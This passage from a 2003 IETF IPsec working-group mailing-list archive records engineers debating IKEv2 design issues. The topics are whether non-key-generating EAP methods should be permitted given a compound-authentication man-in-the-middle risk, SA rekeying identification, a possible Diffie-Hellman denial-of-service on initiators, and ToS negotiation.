to the server. This much is true. > If true, then a server > could use either of these mechanisms to implement simple username > and password authentication. This is not true. A compliant EAP-OTP or GTC implementation cannot be used to implement cleartext passwords. Since this apparently not clear to some implementors, we may have to add a MUST NOT to RFC 2284bis to make sure this doesn't happen. This would be a bad idea for several reasons: a. EAP is used on wireless media where cleartext passwords would allow an attacker to capture the password. b. In the case of RADIUS, whereas PAP passwords are hidden via a (lame) attribute-hiding scheme, in the case of EAP methods [RFC3579] does not mandate any encryption, although IPsec is a SHOULD. This means that the cleartext password would be exposed over the Internet as well. So even of IKEv2 were to address problem a), it would not address problem b) -- and would violate the IETF prohibition on use of cleartext passwords. > It would be wrong, and out of the spirit > of EAP, but it would work and people do it today. We did an implementation survey two years ago, and were not aware of any such usage. In fact, to date I'm only aware of a single implementation of EAP OTP, and none of EAP GTC. For OTP there is certainly processing expected on the server -- and any server that used it as a cleartext password mechanism would be violating the spec. GTC is designed to be "generic" -- usable by any challenge/response mechanism, but for that reason it's never been entirely clear why it was needed. If this opens a huge hole for abuse, then maybe we should deprecate it. If the goal is to introduce PAP into EAP (something we went to great pains to avoid), then it isn't going to work, either in EAP or in RADIUS on the backend either. Bernard: It's very hard to argue that support of PAP is a requirement because RFC 2865 supported CHAP as well as does every RADIUS server I've ever seen, and MD5-Challenge is mandatory-to-implement in RFC 2284. If you buy the idea that all legacy RADIUS servers support CHAP or MD5-Challenge, then this implies that those same servers have access to cleartext passwords and could be upgraded to support RADIUS/EAP with a variety of methods. All the commercial RADIUS servers and several of the free ones support MS-CHAPv2 in some form, or other password based methods offering mutual auth and key derivation (Interlink even supports EAP SKEME). KEY USAGE ========= Bernard wrote: For key generating methods, the IKEv2 specification uses the "key" generated by EAP methods in a manner that is prohibited by the EAP Key framework. EAP methods generate two quantities, the MSK (64 octets) and the EMSK (64 octets). These quantities are used to compute the AAA-Key. In situations not involving fast handoff, the MSK is used as the AAA-Key, and the EMSK is unavailable to the VPN server. So the specification needs to call out what particular portion of the "key" is being used. Also, counter to the IKEv2 specification, the AAA-Key is never used directly to protect data. Rather, a PRF expansion is done to generate authentication and encryption keys which are then used directly. Please see the following document for details: http://www.drizzle.com/~aboba/EAP/draft-aboba-pppext-key-problem-07.txt --Jari From owner-ipsec@lists.tislabs.com Tue Aug 19 16:51:48 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7JNplqt037577; Tue, 19 Aug 2003 16:51:47 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA01861 Tue, 19 Aug 2003 19:04:32 -0400 (EDT) Message-ID: <3F42AE2F.3040308@kolumbus.fi> Date: Wed, 20 Aug 2003 02:09:35 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Theodore Ts'o" Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <20934.1061240676@marajade.sandelman.ottawa.on.ca> <20030819032306.GA1306@think> In-Reply-To: <20030819032306.GA1306@think> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Theodore Ts'o wrote: > On the other hand, in order to be realistic, we should at least take a > moment to recognize that there is going to be a very strong market > demand for this support, given the assumption by many corporations > that everything behind the firewire is goodness and light and is fully > secure. In those environments, if the only use of EAP outside of the > firewall is in protected tunnels (such as IKEv2) used to gain access > to the protected intravent via a VPN solution, then this is in fact no > worse than making the original assumption that everything behind the > firewall is safe. (After all, if the attacker has access to > unprotected EAP transactions happening behind the firewall, then s/he > has no need to try to use this to break a VPN solution trying to gain > access behind the firewall.) I'm not sure compound authentication has the same kind of situation as the protected "hard outside, soft inside" intranets have. If the inside was safe, why would there be authentication? I'd say its very likely that the same credentials are primarily used for coming in to the intranet from the outside, using dial-in or something like that. Or used for on-site WLAN access using 802.1X. Either way, its possible to that outsiders can see the authentication message sequence, or act as MITMs and grab the packets somewhere else. > So given this, I propose that we open a 48-hour discussion on this > issue. Should we (a) say nothing about non-kg types, thus implicitly > allowing them, (b) specify that vendors SHOULD NOT use non-kg EAP > types, or (c) specify that vendors MUST NOT use non-kg EAP types? I'd prefer very much (c), but can live with (b). I think (c) is the best match to IKEv2's secure design. We know the MITM problem exists, and we know how to avoid it. According to the Bernard's method and RADIUS server information, we don't appear to have to suffer too much from choosing the secure approach... --Jari From owner-ipsec@lists.tislabs.com Tue Aug 19 17:04:43 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K04hqt038012; Tue, 19 Aug 2003 17:04:43 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA04000 Tue, 19 Aug 2003 19:13:36 -0400 (EDT) Message-ID: <3F42B046.9050802@kolumbus.fi> Date: Wed, 20 Aug 2003 02:18:30 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Yoav Nir Cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Yoav Nir wrote: > As many times as I read that article, I can't see how this is a > problem. It makes a very strong assumption, that EAP methods are used > outside of secure tunnels. IMO this is not true: > > - The easiest case is the user/password. This could be handled using > EAP-MD5 or EAP-GTC. In an average company, the user/password > combination is used to log in to your workstation, to log in to servers, > or to connect from home or while on the road. You do not use it from > home to do things that are not related to IKE. When at work, you log on > to the Windows domain controller or to some RADIUS server, but you do > not use EAP. The only cases where you actually use EAP is when > connecting to a wireless LAN equipped with 802.1x or when connecting to > a relatively new RAS. These RAS usually also use L2TP/IPsec, so that's > not snoopable either. In short, I don't see the case where the user 1) Its snoopable/mitmable from the client to the RAS. Sure, it may not be an IP network, but nevertheless... 2) Its snoopable/mitmable in the wireless LAN. New wireless LAN standards require kg methods, but I'm not sure if this holds true of all previous standards and products. > will pass their password through unprotected GTC. Since both GTC and 3) If the box that runs EAP talks RADIUS, it is not certain that the RADIUS communication is encrypted. For PAP/CHAP there's a lame encryption scheme, but for EAP there isn't since EAP methods are expected to be secure by themselves. A recent update of the RADIUS RFCs upgraded IPsec support to a SHOULD, but common industry practise appears to be (like it or not) that the lame scheme is enough. > MD5 are not good protection for passwords, it is up to the administrator > to prevent these methods from being used in unprotected tunnels. --Jari From owner-ipsec@lists.tislabs.com Tue Aug 19 17:30:21 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K0UKqt039181; Tue, 19 Aug 2003 17:30:20 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA08347 Tue, 19 Aug 2003 19:32:03 -0400 (EDT) Message-ID: <3F42B49F.8080500@kolumbus.fi> Date: Wed, 20 Aug 2003 02:37:03 +0300 From: Jari Arkko User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Michael Thomas Cc: ipsec@lists.tislabs.com Subject: Re: The remaining IKEv2 issues References: <30952.1061316234@marajade.sandelman.ottawa.on.ca> <16194.38000.3727.78988@thomasm-u1.cisco.com> In-Reply-To: <16194.38000.3727.78988@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Michael Thomas wrote: > Sorry if I've lamely missed this, but can somebody > in a nutshell describe the attack here? I'm not > quite groking what's being discussed here... The problem is any type of compound authentication, where there's one outer and one inner authentication that are not tied together cryptographically. This problem was first found for an IETF protocol called PIC, which tried to use EAP to generate certs for IKE. But it applies to any compound authentication, such as TLS + HTTP Digest, EAP within EAP, etc. The "kg EAP method" comes from the ability of newer EAP authentication methods to produce keys, and the keys enable you to make the cryptographic binding. Here's the attack: Lets assume you have the FOO method to authenticate, a perfect method in all respects. Then you have the BAR protocol which has the capability to use FOO inside itself. BAR is also perfect. Now, you go to Alice, user of FOO (who hasn't perhaps even heard of BAR). You pretend to be her peer and ask her to authenticate using FOO. She does so, and you tunnel all authentication packets via BAR to Bob, who supports FOO-over-BAR. In the end, Alice believes she authenticated to Bob, and Bob believes he authenticated to Alice. In reality the other end of BAR is not Alice, its the attacker. The attacker then proceeds to do whatever he can with that fact. In the case of IKEv2, he'd be able to send and receive packets to Bob as Alice. The conditions of the attack are (1) Same credentials used for multiple purposes (2) No cryptographic binding between the authentications --Jari From owner-ipsec@lists.tislabs.com Tue Aug 19 18:47:38 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K1lbqt047584; Tue, 19 Aug 2003 18:47:38 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA24964 Tue, 19 Aug 2003 20:53:50 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@localhost Message-Id: In-Reply-To: <20030819051220.GL27057@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> Date: Tue, 19 Aug 2003 16:31:36 -0400 To: Nicolas Williams From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: Michael Richardson , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Nico, sorry for the confusion on my part. I though you were trying to find a way to ID SAs for rekeying in IKE. That was the context in which I made my original suggestion. With the sorts of authentication we have historically defined for use with IKE, MITM attacks are not an issue, s IPsec has no anonymous mode, because access control is an essential feature of IPsec, unlike SSL. So, no arguments based on the latter paragraph of your message are likely to be appropriate in this context. Steve From owner-ipsec@lists.tislabs.com Tue Aug 19 19:31:54 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K2Vsqt049390; Tue, 19 Aug 2003 19:31:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA28314 Tue, 19 Aug 2003 21:44:36 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com In-Reply-To: <20030818182532.GF27057@binky.central.sun.com> Subject: Re: IKEv2 SA rekeying - naming an initial SA To: Nicolas Williams Cc: ipsec@lists.tislabs.com, Mike Eisler , owner-ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Tue, 19 Aug 2003 21:02:20 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/19/2003 09:52:42 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I believe this functionality was added as a side effect of addressing Issue #64 (though it's a little different and might not address all imaginable cases). When an SA is rekeyed, the SPI of the old SA is now specified, so there is no ambiguity. The binding between the old SA and the new is not cryptographic, but in every case I could think of the assertion of the SPI by the trusted IKE association defeats the same attacks. --Charlie p.s. There remains the problem - inherent to the layering in IPsec - that there is no specified API by which an app receiving packets can ask IPsec whether this packet is coming from the same authenticated entity as another packet with the same source address received in the past. > I'm glad to see that there is some SA rekeying functionality in IKEv2 > that is somewhat like the rekeying functionality in SSHv2, that is, that > a new SA can be established under the protection of and bound to a > previous (still live) SA. > > Now, if only there was a concept similar to the SSHv2 session ID. (Or > is it there and I just missed it?) > > If there is no IKEv2 equivalent to the SSHv2 session ID, I would like to > have one defined. > > We have a need for a way to name a [transport mode] SA and its rekeyed > replacements where the name is cryptographically bound to the initial SA > key exchange. From owner-ipsec@lists.tislabs.com Tue Aug 19 19:34:58 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K2Yvqt049579; Tue, 19 Aug 2003 19:34:58 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA28313 Tue, 19 Aug 2003 21:44:33 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com In-Reply-To: <26888.1061305088@marajade.sandelman.ottawa.on.ca> Subject: Re: The remaining IKEv2 issues To: Michael Richardson Cc: ipsec@lists.tislabs.com, owner-ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Tue, 19 Aug 2003 21:49:22 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/19/2003 09:52:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Michael Richardson wrote on 08/19/2003 10:58:08 AM: > If we accept non-kg EAP methods, then we must make a strong statement to > the effect that the credentials MUST not be used to authenticate to parties > of differing trust. > I.e. maybe it is okay for the corporate "extranet" web server to use the > employees EAP credentials to form an IPsec tunnel to the employee's desktop > to retrieve that file. It just isn't okay for company A's web server to > use credentials from company B for things they weren't intended for. (noting > that B's web server must already have some radius-like relationship with A's > authentication server in order to perform the legitimate authentication) You can tell people not to write their PIN number on their ATM cards all you want. They will do it anyway. non-kg EAP methods are inherently weak. If they are used carefully, they may be acceptably safe in some environments, but users and administrators *will* screw it up. If we want to insert warnings as to the dangers into the IKE spec, I'd rather do it by referencing some other document, but if we could agree on text in less than negative 3 months, I'd be happy with that too. Our real choice is whether to say non-kg methods MUST NOT be used or not. If we say they MUST NOT be used, people will implement them anyway but they won't get the same degree of interoperability testing at the bakeoffs. People want to use SecureID cards and challenge response cards and they don't want to depend on some future enhancements to those devices in order to make IPsec work. There are no kg methods for generic challenge response cards (though one could invent them for specific challenge response cards). The following warning already appears in the Security Considerations section: > When using an EAP authentication method that does not generate a shared > key for protecting a subsequent AUTH payload, certain man-in-the-middle > and server impersonation attacks are possible. Use of such methods should > be avoided where possible and where they are used, it is particularly > important that the initiator validate the responder's certificate before > initiating the EAP exchange. We could add a stronger warning. But is there really any point? --Charlie From owner-ipsec@lists.tislabs.com Tue Aug 19 19:34:59 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K2Yxqt049580; Tue, 19 Aug 2003 19:34:59 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA28309 Tue, 19 Aug 2003 21:44:25 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com Subject: Re: Initiator exposes DOS attack for IKEv2? To: Tom Hu Cc: ipsec wg X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Tue, 19 Aug 2003 21:11:39 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/19/2003 09:52:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The DOS protection designed in IKEv2 is designed to protect responders from malicious initiators, but not vice versa. Someone impersonating a server can waste the client's time by sending invalid responses, but cannot overwhelm the client with traffic because the request rate is ultimately controlled by the client. If the attacker can prevent packets from flowing between the two parties, it can prevent communication. If the attacker can only insert additional bogus packets but not prevent the real ones from being delivered, it would be possible to design a client that resisted such DOS attacks given the current protocol, but the current specification doesn't say how, it would be tricky to get right, and I don't expect anyone to do it. --Charlie > Hi all, > > Hopefully, I do not misunderstand the draft in this DOS attack scenario. > Welcome any input. > > Assume Initiator creates the Diffe-Herman group x public key and sends > the KE payload to the responder in the IKE_SA_INIT exchange. The > responder does not like this group x DH. It should response back with > "INVLID_KE_PAYLOAD" indicating the corrected DH group (see 2.7). Since > IKE_SA_INIT exchange is clear text exchange, there is a possible the > third party acts as the responder to reply this "INVALID _KE_PAYLOAD" > for each initiator' request. > > This causes the initiator continues changing the DH group and re-send > the KE payload that the responder wants. > > We know DH calculation is very CPU-intensive. Initiator system can have > very bad DOS attack by this scenario. Any comment? > > Thanks, > > Tom Hu From owner-ipsec@lists.tislabs.com Tue Aug 19 19:36:38 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K2acqt049665; Tue, 19 Aug 2003 19:36:38 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA28303 Tue, 19 Aug 2003 21:44:21 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com In-Reply-To: <20934.1061240676@marajade.sandelman.ottawa.on.ca> Subject: Re: The remaining IKEv2 issues To: Michael Richardson Cc: ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Tue, 19 Aug 2003 21:27:41 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/19/2003 09:52:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Michael Richardson wrote on 08/18/2003 05:04:36 PM: > Theodore> In addition, given the requirement to support one-time password > Theodore> and Generic Token cards, we can not forbid the use of non-kg > Theodore> EAP schemes. Hence, given that the MITM attack which was the > Theodore> concern raised by issue #65 is not an issue for IKEv2, we > Theodore> believe that this is not something that should hold back the > Theodore> publication of IKEv2 as a Proposed Standard. > > So, the only way to support these kind of things is by using EAP? > I'm not complaining, I'm just asking for confirmation. Yes. IKEv2 natively supports authentication via public key certificate and by shared secret key. When it was proposed that we add support for OTP and Token cards, we could see that down that road lay reinventing authentication protocols over and over, so we incorporated EAP as the mechanism for any form of authentication other than public key certificate and shared secret key. --Charlie From owner-ipsec@lists.tislabs.com Tue Aug 19 19:39:48 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7K2dlqt049760; Tue, 19 Aug 2003 19:39:47 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA28310 Tue, 19 Aug 2003 21:44:30 -0400 (EDT) From: Charlie_Kaufman@notesdev.ibm.com In-Reply-To: <3F4135CF.6030106@creeksidenet.com> Subject: Re: The remaining IKEv2 issues - #64 To: "jpickering@creeksidenet.com" Cc: ipsec@lists.tislabs.com X-Mailer: Lotus Notes Build V602_05062003 May 06, 2003 Message-ID: Date: Tue, 19 Aug 2003 21:21:05 -0400 X-MIMETrack: Serialize by Router on Ace/Iris(Release 6.0.2CF2|July 23, 2003) at 08/19/2003 09:52:41 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk jpickering@creeksidenet.com wrote: > I must have missed the resolution on issue 64, can someone remind me of > the resolution > and rationale? The issue was that people were concerned about how an implementation could know which SA was being rekeyed when a rekey request arrived. In the past, I had assumed that they would know because the traffic selectors would match the traffic selectors on the replaced SA. But recent discussions have allowed for the possibility of multiple SAs with the same traffic selectors for playing games with QOS and such. The proposed solution was to include the SPI of the rekeyed SA in the request to create a new SA, so there would be no ambiguity. It might also help with the race conditions that can produce duplicate SAs and the "continuity across rekeying" issue raised by Nicolas Williams. I added an additional field to the Create_Child_SA exchange to carry the SPI. --Charlie From owner-ipsec@lists.tislabs.com Wed Aug 20 08:38:46 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KFchqt022230; Wed, 20 Aug 2003 08:38:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA09259 Wed, 20 Aug 2003 10:41:38 -0400 (EDT) X-Authentication-Warning: gandalf.sctc.com: allison owned process doing -bs Date: Wed, 20 Aug 2003 09:48:27 -0500 (CDT) From: Tylor Allison X-X-Sender: To: Yoav Nir cc: "Theodore Ts'o" , Michael Richardson , Subject: Re: The remaining IKEv2 issues In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, 19 Aug 2003, Yoav Nir wrote: > Hi Tylor, > > The reason we can't make doing this a MUST NOT is that the IKEv2 > document is designed to be used by implementors, not administrators and > definitely not users. We can say "GTC is OK" or "MUST NOT use GTC". > We can even say "GTC MUST NOT be used unless the passwords are local to > the VPN endpoint". We can't mandate user behavior like "you can't use > the GTC server for IKE if you can also do GTC over unencrypted PPTP or > over unauthenticated PEAP". We can definitely not say "you should only > authenticate with GTC if you verify the server's certificate correctly > in PEAP" This is all under the assumption that the IKEv2 server is talking to the AAA server using EAP (GTC or otherwise). The point I was trying to make is that it seems that we are trying to force a requirement based on one potential implementation choice for using non-kg EAP methods. We needed a mechanism to transmit user credentials in IKEv2; EAP was chosen. This doesn't mean that EAP must be used by the IKEv2 gateway to communicate with a AAA server. EAP-GTC in IKEv2 seems like a generic method for performing various forms of auth, fulfilling customer requirements to allow non-kg to be used. If this method is not secure _WITHIN THE IKEv2 PROTOCOL_ (e.g. susceptable to MITM or other attacks), then I would agree that it MUST NOT be used. If it is not secure outside of the IKEv2 protocol, then I think it is really up to the vendors to choose whether or not to use it.... at that point it is really outside the scope of IKEv2. > In short, you can mandate things about IKE, but not about other users > of the legacy authentication. It would be up to the implementor to > tell the user not to use insecure methods, perhaps by displaying a > warning message in the GUI. For the RFC, it's either in or out. > > On Tuesday, August 19, 2003, at 04:17 PM, Tylor Allison wrote: > > > So the MITM attack on non-kg methods is possible for EAP messages being > > transmitted outside of IKEv2 (e.g. not between IPsec peers), and occurs > > because either the EAP messages are being passed in the clear, or the > > server in a protected EAP protocol (e.g. PEAP) is not being > > authenticated > > properly. > > > > Why not make doing this a MUST NOT? Aren't there many ways to make > > non-kg > > EAP methods protected from MITM? How about: Tylor From owner-ipsec@lists.tislabs.com Wed Aug 20 08:59:51 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KFxpqt023072; Wed, 20 Aug 2003 08:59:51 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA14207 Wed, 20 Aug 2003 11:07:56 -0400 (EDT) X-Authentication-Warning: gandalf.sctc.com: allison owned process doing -bs Date: Wed, 20 Aug 2003 10:15:06 -0500 (CDT) From: Tylor Allison X-X-Sender: To: cc: Michael Richardson , , Subject: Re: The remaining IKEv2 issues In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Tue, 19 Aug 2003 Charlie_Kaufman@notesdev.ibm.com wrote: > You can tell people not to write their PIN number on their ATM cards all you > want. They will do it anyway. > > non-kg EAP methods are inherently weak. If they are used carefully, they may > be acceptably safe in some environments, but users and administrators *will* > screw it up. As defined and used within IKEv2, these methods are secure, though, aren't they? (OK, not as secure as kg methods...) To mount the MITM attack on IKEv2, you have to have the Initiator not verify the responder/gateway's identity... that sounds like a broken client implementation. There's been quite a bit of discussion about using MITM attacks on the AAA server which is listening for the EAP-GTC (or otherwise plaintext EAP messages) that could occur between the IKEv2 server and the AAA server. But this assumes that EAP is being used to communicate with the AAA server... other protocols may be used by the IKEv2 gateway instead. Administrators can and will screw anything up... it's scary some of the shared-secret policies or private key distribution methods I've seen customers actually use. The question is, is it reasonable to expect that a security-aware administrator can setup a policy that will be secure? Or atleast are they no worse off then if they were setting up any other type of policy (cert-based, pre-shared key, etc.)? > If we want to insert warnings as to the dangers into the IKE spec, I'd rather > do it by referencing some other document, but if we could agree on text in > less than negative 3 months, I'd be happy with that too. I think the warning already present is sufficient. > Our real choice is whether to say non-kg methods MUST NOT be used or not. If > we say they MUST NOT be used, people will implement them anyway but they won't > get the same degree of interoperability testing at the bakeoffs. People want > to use SecureID cards and challenge response cards and they don't want to > depend on some future enhancements to those devices in order to make IPsec > work. There are no kg methods for generic challenge response cards (though one > could invent them for specific challenge response cards). If we are expecting that people are going to implement these methods and customer are going to make use of these methods, I would much rather see a standards-based way of doing so, and have this method be tested at bakeoffs. > The following warning already appears in the Security Considerations > section: > > > When using an EAP authentication method that does not generate a shared > > key for protecting a subsequent AUTH payload, certain man-in-the-middle > > and server impersonation attacks are possible. Use of such methods should > > be avoided where possible and where they are used, it is particularly > > important that the initiator validate the responder's certificate before > > initiating the EAP exchange. > > We could add a stronger warning. But is there really any point? > > --Charlie Tylor Allison From owner-ipsec@lists.tislabs.com Wed Aug 20 09:13:02 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KGD1qt024105; Wed, 20 Aug 2003 09:13:02 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA17272 Wed, 20 Aug 2003 11:24:35 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@localhost Message-Id: In-Reply-To: <20030820032523.GK27057@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> Date: Wed, 20 Aug 2003 07:43:25 -0400 To: Nicolas Williams From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: Michael Richardson , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 20:25 -0700 8/19/03, Nicolas Williams wrote: >On Tue, Aug 19, 2003 at 04:31:36PM -0400, Stephen Kent wrote: >> Nico, >> >> sorry for the confusion on my part. I though you were trying to find >> a way to ID SAs for rekeying in IKE. That was the context in which I >> made my original suggestion. With the sorts of authentication we have >> historically defined for use with IKE, MITM attacks are not an issue, >> s >> >> IPsec has no anonymous mode, because access control is an essential >> feature of IPsec, unlike SSL. So, no arguments based on the latter >> paragraph of your message are likely to be appropriate in this >> context. > >One would never want to use anonymous IPsec with any application *other* >than applications which bind authentication at higher layers to IPsec >SAs. > >But if one can do that, then the authenticated identities at the IPsec >layer become irrelevant, particularly if such applications are doing >mutual authentication at the application layer. > >Thus one would want to set policies that allow the use of anon IPsec >ONLY for apps such as NFS (w/ RPCSEC_GSS & CCM). > >Cheers, > >Nico >-- Nico, I'm not arguing about one might do with an IP layer security protocol in general. I am noting that this WG has made a decision about the services offered in IPsec a number of years ago. steve From owner-ipsec@lists.tislabs.com Wed Aug 20 10:06:17 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KH6Gqt026435; Wed, 20 Aug 2003 10:06:16 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA02171 Wed, 20 Aug 2003 10:04:37 -0400 (EDT) From: Black_David@emc.com Message-ID: To: ipsec@lists.tislabs.com Subject: IKEv2 issue #16 Date: Wed, 20 Aug 2003 10:09:58 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Angelos's summary of open issues included: 16: (Negotiate ToS in IKEv2) This issue is marked as closed without adding any negotiation support, and (IMHO) that's the right approach. As I understood the list discussion, the support for parallel SAs with the identical traffic selectors introduced as part of resolving issue #64 is the only IKEv2 mechanism required - given this, implementations can do what they like in distributing traffic among parallel SAs that they set up, so nothing more is needed (aside from my previous message on adding a warning against the use of the IKEv1 rekeying heuristic). IKEv2 is a security protocol and I strongly believe that it should not be trying to do QoS negotiation for a number of reasons, including preservation of the sanity of all involved :-). Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- From owner-ipsec@lists.tislabs.com Wed Aug 20 11:05:51 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7KI5pqt030076; Wed, 20 Aug 2003 11:05:51 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA08674 Wed, 20 Aug 2003 08:50:58 -0400 (EDT) Date: Tue, 19 Aug 2003 19:58:34 -0700 From: Nicolas Williams To: Charlie_Kaufman@notesdev.ibm.com Cc: ipsec@lists.tislabs.com, Mike Eisler , owner-ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030820025834.GJ27057@binky.central.sun.com> References: <20030818182532.GF27057@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: 